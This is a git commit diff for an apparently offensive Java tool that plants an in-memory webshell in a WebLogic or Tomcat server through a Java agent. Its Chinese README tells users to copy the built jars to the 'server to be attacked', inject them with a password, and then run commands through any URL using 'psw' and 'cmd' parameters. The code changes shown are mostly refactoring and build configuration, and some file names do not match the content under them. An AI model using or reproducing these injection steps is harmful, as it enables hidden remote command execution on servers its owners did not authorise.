fix some bug

Author: keven1z

README.md

@@ -27,10 +27,9 @@
 
 # 使用说明
 1. 克隆本项目。
-2. `cd inject`->`mvn clean package`
-3. `cd memshell_asm`->`mvn clean package`
-4. 将生成jar包统一放入待攻击的服务器中，运行`java -jar inject.jar [your_password]`，即可注入。
-5. 访问任意url，带上参数`psw=your_password&cmd=your_cmd`,即可执行命令。
+2. 运行mvn clean package
+3. 将生成jar包统一放入待攻击的服务器中，运行`java -jar inject.jar [your_password]`，即可注入。
+4. 访问任意url，带上参数`psw=your_password&cmd=your_cmd`,即可执行命令。
 # 测试案例
 运行`java -jar inject-1.0.jar x1001`
 ![java](./img/java.png)

inject/src/main/java/Attach.java

@@ -20,7 +20,6 @@ public static void main(String[] args) throws Exception {
         String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath();
         currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1);
         String agentFile = currentPath + "shell-agent.jar";
-
         agentFile = new File(agentFile).getCanonicalPath();
         String agentArgs = currentPath;
         agentArgs = agentArgs + "^" + password;

memshell_asm/.gitignore

@@ -72,15 +72,15 @@
                 </configuration>
             </plugin>
             <plugin>
-            <groupId>org.apache.maven.plugins</groupId>
-            <artifactId>maven-compiler-plugin</artifactId>
-            <version>2.5.1</version>
-            <configuration>
-                <source>1.8</source>
-                <target>1.8</target>
-                <encoding>utf8</encoding>
-                <showWarnings>true</showWarnings>
-            </configuration>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+                <version>2.5.1</version>
+                <configuration>
+                    <source>1.8</source>
+                    <target>1.8</target>
+                    <encoding>utf8</encoding>
+                    <showWarnings>true</showWarnings>
+                </configuration>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>

memshell_asm/pom.xml

@@ -5,15 +5,13 @@
  * 2020/11/17
  *
  */
+
 import cn.com.x1001.bean.ClassInfo;
 import cn.com.x1001.bean.InstrumentationContext;
 import cn.com.x1001.hook.HookTransformer;
-import cn.com.x1001.utils.StringUtil;
 
 import java.io.*;
 import java.lang.instrument.Instrumentation;
-import java.lang.management.ManagementFactory;
-import java.lang.management.RuntimeMXBean;
 import java.util.Arrays;
 
 public class Agent {

memshell_asm/src/main/java/cn/com/x1001/Agent.java

@@ -33,12 +33,13 @@ public HashMap<String, String> getMethodDesc() {
         return methodDesc;
     }
 
+
     @Override
     public boolean equals(Object o) {
         if (this == o) return true;
         if (o == null || getClass() != o.getClass()) return false;
         ClassInfo classInfo = (ClassInfo) o;
-        return Objects.equals(className, classInfo.className);
+        return className.equals(classInfo.className);
     }
 
     @Override

memshell_asm/src/main/java/cn/com/x1001/bean/ClassInfo.java

@@ -73,9 +73,16 @@ public boolean isExistClass(Class[] interfaces) {
         return false;
     }
 
+    /**
+     * 获取接口或父类是hook点hook点信息
+     * @param ancestors 当前类的父类或接口set
+     */
     public ClassInfo getAncestorHookPoint(HashSet<String> ancestors) {
         for (String ancestor : ancestors) {
-            return getThisHookPoint(ancestor);
+            ClassInfo thisHookPoint = getThisHookPoint(ancestor);
+            if( thisHookPoint!= null){
+                return thisHookPoint;
+            }
         }
         return null;
     }

memshell_asm/src/main/java/cn/com/x1001/bean/InstrumentationContext.java

@@ -1,7 +1,6 @@
 package cn.com.x1001.hook;
 
 import cn.com.x1001.Agent;
-import cn.com.x1001.http.AbstractRequest;
 import cn.com.x1001.http.CoyoteRequest;
 import cn.com.x1001.http.HttpResponse;
 

memshell_asm/src/main/java/cn/com/x1001/hook/ShellChecker.java

@@ -1,7 +1,5 @@
 package cn.com.x1001.http;
 
-import sun.reflect.Reflection;
-
 import java.util.UUID;
 
 /**

memshell_asm/src/main/java/cn/com/x1001/http/AbstractRequest.java

@@ -2,8 +2,6 @@
 
 import cn.com.x1001.utils.Reflection;
 
-import java.io.PrintWriter;
-
 public class HttpResponse {
     private Object response;
     protected static final Class[] EMPTY_CLASS = new Class[]{};

memshell_asm/src/main/java/cn/com/x1001/http/HttpResponse.java

@@ -6,7 +6,12 @@
 
     <groupId>org.example</groupId>
     <artifactId>weblogic_memshell</artifactId>
+    <packaging>pom</packaging>
     <version>1.0-SNAPSHOT</version>
+    <modules>
+        <module>inject</module>
+        <module>memshell_asm</module>
+    </modules>
 
 
 </project>